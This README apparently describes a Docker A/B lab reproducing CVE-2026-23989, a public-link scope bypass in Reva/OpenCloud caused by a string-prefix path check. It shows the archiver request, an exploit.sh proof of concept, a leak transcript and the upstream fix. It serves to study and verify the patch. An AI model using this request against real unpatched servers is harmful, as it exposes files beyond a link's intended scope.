
Reproduction lab (A/B Docker) for CVE-2026-23989 — OpenCloud / ownCloud Infinite Scale public-link scope-validation bypass in Reva
A self-contained, one-command lab that reproduces CVE-2026-23989 and proves it fixed, using the official upstream Docker images. A public share link that is supposed to grant access to one folder can be abused to read files outside that folder's scope.
| CVE | CVE-2026-23989 |
| Advisory | GHSA-vf5j-r2hw-2hrw ("Public Link Exploit") |
| CVSS 3.1 | 8.2 High — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N |
| Class | Broken access control — path-prefix confusion in scope validation |
| Root cause | Reva checkIfNestedResource used strings.HasPrefix for path containment |
| Affected | OpenCloud stable ≤ 4.0.2 (Reva ≤ v2.40.2), rolling ≤ 5.0.1 (Reva ≤ v2.42.1) |
| Fixed | OpenCloud 4.0.3 / 5.0.2 (Reva v2.40.3 / v2.42.3, PR opencloud-eu/reva#522) |
| Disclosed | 2026-02-05 |
OpenCloud is a 2025 fork of ownCloud Infinite Scale (OCIS), created by former ownCloud engineers after Kiteworks acquired ownCloud. The flaw lives in Reva, the CS3 storage backend that OCIS/OpenCloud share, and — per the vendor advisory — "originated in the ownCloud (Kiteworks) codebase and was inherited when OpenCloud forked OCIS." OpenCloud is used here because it ships clean, pinned, public vulnerable and fixed images that make an exact A/B possible.
internal/grpc/interceptors/auth/scope.go, function checkIfNestedResource — the
gateway interceptor that decides whether a public-link token may touch a resource:
// vulnerable (Reva ≤ 2.40.2 / ≤ 2.42.1)
return strings.HasPrefix(childPath, parentPath), nil
parentPath is the shared folder's path (the link's scope); childPath is the
requested resource's path. String-prefixing is not path containment:
parentPath = "/Shared"
childPath = "/Shared-secret/flag.txt" (a sibling, NOT a child)
strings.HasPrefix("/Shared-secret/flag.txt", "/Shared") == true ← wrong: access granted
So a link scoped to /Shared also reaches any same-space resource whose path
starts with the string /Shared — e.g. /Shared-secret, /Shared-2024,
/Shared backup. The fix replaces the test with filepath.Rel and rejects any
relative path beginning with .. (full patch in patch/reva-scope.go.patch).
Every gateway operation carrying a public-link token passes through the buggy
scope check, but the discoverers' primitive (and this lab's) is the archiver
service at GET /archiver, authenticated for a public link with the
public-token: header. It accepts a resource id (?id=<fileid>), walks it, and
streams a zip. Point it at an out-of-scope prefix-sibling's id and the buggy check
admits it:
GET /archiver?id=<id-of-/Shared-secret>
public-token: <link token scoped to /Shared>
→ 200, zip of /Shared-secret (on 4.0.2)
→ 404 "gateway could not find space for ref=…" (on 4.0.3)
The attacker must supply the resource id of the out-of-scope target. That
opaque id is a random UUID and is not enumerable through the public link
itself (the link cannot list the owner's space — it returns 401). In OCIS,
however, a resource's oc:fileid is exposed in nearly every WebDAV/graph
response, share invitation, activity notification and web URL (/f/<id>), so any
prior collaborator, ex-recipient of a different share, or internal user routinely
holds it — which is why the vendor rated attack complexity Low. The lab's
setup.sh obtains the id "as the victim" to hand to the attacker step, modelling
that realistic prior knowledge. Path traversal (?path=../…) is not a viable
substitute: those paths are resolved relative to the share and cleaned (404).
"/"
and HasPrefix("/", "/Shared") is false (the lab confirms this: space-root
archive → 404). Non-prefix siblings like /Private are denied on the
vulnerable build too — the lab uses that as a control to prove the effect is
specifically the prefix bug, not a blanket auth failure.| File | Purpose |
|---|---|
docker-compose.yml | One OpenCloud container; OC_TAG selects vulnerable (4.0.2) or fixed (4.0.3). |
setup.sh | Seeds the victim scenario in demo-user mary's space and creates a password-less public link on /Shared. Writes state.env. |
exploit.sh | Attacker PoC. Given the link token + a target resource id, calls the archiver and prints any exfiltrated bytes. |
verify.sh | One-command A/B: reproduce on 4.0.2, confirm fixed on 4.0.3, print a PASS/FAIL matrix. |
patch/reva-scope.go.patch | The exact upstream one-line fix, annotated. |
Scenario planted in mary's personal space:
/Shared/public-note.txt ← shared via the public link (in scope)
/Shared-secret/flag.txt ← the PoC target; path prefixes "/Shared" (out of scope)
/Private/topsecret.txt ← control; non-prefix (out of scope, stays denied)
Requirements: Docker + Docker Compose, curl, python3. Pulls ~250 MB of images.
./verify.sh
Expected output:
== Exploit + controls against VULNERABLE 4.0.2 ==
[PASS] in-scope /Shared (legit access) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (expected leak)
[PASS] non-prefix /Private (must stay denied) (expected deny)
== Exploit + control against FIXED 4.0.3 ==
[PASS] in-scope /Shared (still works) (expected leak)
[PASS] PoC: out-of-scope /Shared-secret (fixed) (expected deny)
== Verdict ==
5 passed, 0 failed
CVE-2026-23989 reproduced on 4.0.2 and confirmed fixed on 4.0.3.
Rolling-release pair instead of stable:
VULN_TAG=5.0.1 FIXED_TAG=5.0.2 ./verify.sh
# 1. bring up the vulnerable build
OC_TAG=4.0.2 docker compose up -d
# 2. seed the victim scenario (creates the public link, writes state.env)
./setup.sh
# 3. attack: leak the out-of-scope sibling (reads target from state.env)
./exploit.sh # defaults to the /Shared-secret id
./exploit.sh --target-id "$(. ./state.env; echo "$PRIVATE_ID")" # control: denied
Real transcript against the vulnerable build (state.env values vary per run):
===== EXPLOIT /Shared-secret (out-of-scope prefix sibling) =====
[*] Public link token: UVWPXGsjlLJRYxK (scope: a single shared folder)
[*] HTTP 200, 365 bytes
Shared-secret/flag.txt:
FLAG{CVE-2026-23989_out-of-scope-sibling-leaked-via-HasPrefix-bug}
[+] LEAK CONFIRMED — out-of-scope file bytes exfiltrated via the public link.
===== CONTROL /Private (out-of-scope, non-prefix) =====
[*] HTTP 404, 249 bytes
[-] DENIED — server refused: error: not found: gateway could not find space for ref=…
Confirm the fix with the same data (same token and ids):
OC_TAG=4.0.3 docker compose stop && OC_TAG=4.0.3 docker compose up -d
./exploit.sh # now → HTTP 404, DENIED
Tear down:
docker compose down -v
GATEWAY_STORAGE_PUBLIC_LINK_ENDPOINT="" on the container. The vendor confirms
this fully mitigates the issue (a public link then returns an error).docker-compose.yml deliberately weakens the instance so the PoC is scriptable:
PROXY_ENABLE_BASIC_AUTH=true (so curl -u/public-token work without the OIDC
dance), IDM_CREATE_DEMO_USERS=true (mary/demo etc. — public passwords),
IDM_ADMIN_PASSWORD=admin, password-less public links, and a self-signed cert
(curl -k). None of these are the vulnerability; they only make it observable in
a shell. The bypass itself is independent of them.
8d52003